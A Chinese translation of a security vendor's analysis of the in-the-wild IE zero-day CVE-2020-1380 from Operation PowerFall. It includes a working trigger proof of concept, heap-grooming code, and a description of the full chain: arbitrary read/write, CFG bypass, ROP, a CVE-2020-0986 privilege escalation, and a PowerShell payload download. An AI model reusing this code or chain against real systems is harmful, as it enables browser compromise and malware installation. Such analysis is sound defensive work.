导语:研究人员在Operation PowerFall攻击活动中发现了一个0 day漏洞——CVE-2020-1380。该漏洞是一个JS中的UAF漏洞,补丁已于2020年8月11日发布。
研究人员在Operation PowerFall攻击活动中发现了一个0 day漏洞——CVE-2020-1380。该漏洞是一个JS中的UAF漏洞,补丁已于2020年8月11日发布。
最近发现的在野IE 0 day漏洞利用主要是依赖JavaScript 引擎jscript.dll中CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和 CVE-2018-8653等漏洞。而CVE-2020-1380是jscript9.dll中的漏洞,从IE 9开始默认使用。
CVE-2020-1380是JIT 优化引发的UAF漏洞,是由于即时编译代码中缺乏必要的检查导致的。触发该漏洞的PoC代码如下:
function func(O, A, F, O2) {arguments.push = Array.prototype.push;O = 1;arguments.length = 0;arguments.push(O2);if (F == 1) {O = 2;}// execute abp.valueOf() and write by dangling pointerA[5] = O;};// prepare objectsvar an = new ArrayBuffer(0x8c);var fa = new Float32Array(an);// compile funcfunc(1, fa, 1, {});for (var i = 0; i < 0x10000; i++) {func(1, fa, 1, 1);}var abp = {};abp.valueOf = function() {// freeworker = new Worker('worker.js');worker.postMessage(an, [an]);worker.terminate();worker = null;// sleepvar start = Date.now();while (Date.now() - start < 200) {}// TODO: reclaim freed memoryreturn 0};try {func(1, fa, 0, abp);} catch (e) {reload()}
为更好地理解该漏洞,首先要了解func()的执行原理。其中最重要的是理解A[5]的设定值。从代码来看,应该是O参数。函数启动后,O 参数会被重新分配为1,然后函数参数长度会被设置为0。该操作并不会清除函数参数,但允许使用Array.prototype.push将参数O2放置到index 0的参数列表中,也就是说O = O2。此外,如果参数F等于1,参数O就会被重新分配为2。也就是说,根据参数F的值,参数O等于O2或2。参数A 是32位浮点数数组,在分配给index 5值之前,该值会转化为浮点数。
漏洞利用使用对象abp和valueOf()方法。该方法在对象转化为浮点数时执行,但是该方法中有释放ArrayBuffer的代码。为了防止值保持在释放的对象的内存中,JS引擎在保持该值之前需要检查对象的状态。为了安全地转化和保持浮点值,JScript9.dll会使用函数Js::TypedArray
int Js::TypedArray::BaseTypedDirectSetItem(Js::TypedArray *this, unsigned int index, void *object, int reserved){Js::JavascriptConversion::ToNumber(object, this->type->library->context);if ( LOBYTE(this->view[0]->unusable) )Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);if ( index < this->count ){*(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(object,this->type->library->context);}return 1;}double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context){if ( (unsigned char)object & 1 )return (double)((int)object >> 1);if ( *(void **)object == VirtualTableInfo::Address[0] )return *((double *)object + 1);return Js::JavascriptConversion::ToNumber_Full(object, context);
函数会检查数组的view[0]->unusable和count域,ArrayBuffer在valueOf() 方法执行时会被释放,因为首次调用Js::JavascriptConversion::ToNumber()时,view[0]->unusable被设置为1,count被设置为0,因此这两个域的检查都会失败。因为函数Js::TypedArray
当函数func()编译时,JS 引擎会使用有漏洞的代码,如下所示:
if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray::vftable ){if ( floatArray->count > index ){buffer = floatArray->buffer + 4*index;if ( object & 1 ){*(float *)buffer = (double)(object >> 1);}else{if ( *(void *)object != &Js::JavascriptNumber::vftable ){Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);}else{*(float *)buffer = *(double *)(object->value);}}}}
以下是Js::JavascriptConversion::ToFloat_Helper() 函数的代码:
void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context){*buffer = Js::JavascriptConversion::ToNumber_Full(object, context);}
与翻译模式不同的是,在实时编译的代码中,并不会检查ArrayBuffer,其内存会被释放然后在valueOf()函数被调用时重新声明。此外,攻击者可以控制返回值要写入的index。当PoC 中的arguments.length = 0;和arguments.push(O2); 被替换为arguments[0] = O2;时,Js::JavascriptConversion::ToFloat_Helper()并不会触发漏洞,因为调用会被禁用,也不会执行到valueOf()的调用。
为了确保函数func()即时编译,漏洞利用执行了该函数0x10000次,只有在func()函数多执行一次后才会触发漏洞。为了释放ArrayBuffer,漏洞利用会滥用Web Workers API。函数postMessage() 会用来序列号对象并发送。转化的对象被释放后,在当前脚本环境中会无法使用。当ArrayBuffer被释放时,漏洞利用会通过模拟Sleep()函数的使用来触发垃圾回收:检查Date.now()和之前保存的值之间的时间间隔。之后,漏洞利用会声明含有整数数组的内存。
for (var i = 0; i < T.length; i += 1) {T[i] = new Array((0x1000 - 0x20) / 4);T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket}
在创建了大量的数组后,IE就会分配IE定制堆首先使用的新的LargeHeapBlock 对象。LargeHeapBlock对象会保存为数组分配的缓存地址。如果成功获得期望的内存布局,漏洞就会用0覆写LargeHeapBlock的偏移量0x14,即分配的区块数。
jscript9.dll x86的LargeHeapBlock结构
之后,漏洞利用会分配大量的数组,并设置为漏洞利用初始阶段准备的另一个数组。然后该数组会设置为null,漏洞利用会调用CollectGarbage()函数。导致堆的碎片重新整理,修改后的LargeHeapBlock和相关的数组缓存都会释放。此时,漏洞利用会创建大量的整数数组来重新声明之前释放的数组缓存。新创建的数组在index 0处有一个值,并通过到之前释放的数组的指针来检查漏洞利用是否成功。
for (var i = 0; i < K.length; i += 1) {K[i] = new Array((0x1000 - 0x20) / 4);K[i][0] = 0x888; // store magic}for (var i = 0; i < T.length; i += 1) {if (T[i][0] == 0x888) { // find array accessible through dangling pointerR = T[i];break;}}
因此,漏洞利用会创建两个指向相同位置的缓存的JavascriptNativeIntArray对象。因此可以提取对象的地址,甚至创建新构造的对象。漏洞利用使用了这些原语来创建了一个构造的DataView 对象,并获取了进程整个地址空间的读写权限。
利用任意读写原语的构造可以绕过Control Flow Guard (CFG)和实现代码执行。漏洞利用使用Array的vftable指针来获得jscript9.dll的模块基地址。然后分析jscript9.dll的PE header来获取Import Directory Table的地址,并解析其他模块的基地址。目标是找到函数VirtualProtect()的地址,这会将shellcode变得可以执行。之后,漏洞利用会在jscript9.dll中搜索2个签名。这些签名对应Unicode字符串split的地址和函数JsUtil::DoublyLinkedListElement
之后进入下一个阶段。漏洞利用会执行split()方法,并提供一个含有覆写的valueOf()方法的对象作为限制参数。函数Js::JavascriptString::EntrySplit()在执行过程中valueOf()方法也会执行,漏洞利用会搜索线程的栈来找到返回的地址,并shellcode放置在之前的缓存中,获取其地址,并通过覆写函数的返回地址来构造一个return-oriented programming (ROP)链来执行shellcode。
Shellcode是加到shellcode的PE模块的反射型DLL加载器。该模块非常小,整个功能位于单独的函数中。并在临时文件夹中创建一个名为ok.exe的文件,并将远程代码执行漏洞利用中的另一个可执行文件的内容写入。之后,执行ok.exe。
ok.exe可执行文件中含有GDI Print / Print Spooler API中任意指针简接引用漏洞CVE-2020-0986的权限提升漏洞利用。该漏洞利用可以使用进程间通信来实现splwow64.exe进程的任意内存读写,并用它来实现splwow64.exe进程的代码执行,绕过CFG 和EncodePointer保护。漏洞利用以及两个可仔细文件都会嵌入到其资源中。第一个可执行文件会写入磁盘中(CreateDC.exe),然后用来创建漏洞利用所需的设备环境(device context)。第二个可执行文件名为PoPc.dll,如果漏洞利用成功,splwow64.exe就会执行。
来自splwow64.exe的恶意PowerShell 命令执行
PoPc.dll的主要功能位于单个函数中,执行一个编码的PowerShell命令来从www[.]static-cdn1[.]com/update.zip下载文件,并以upgrader.exe保存到临时文件中并执行。
本文翻译自:https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/如若转载,请注明原文地址: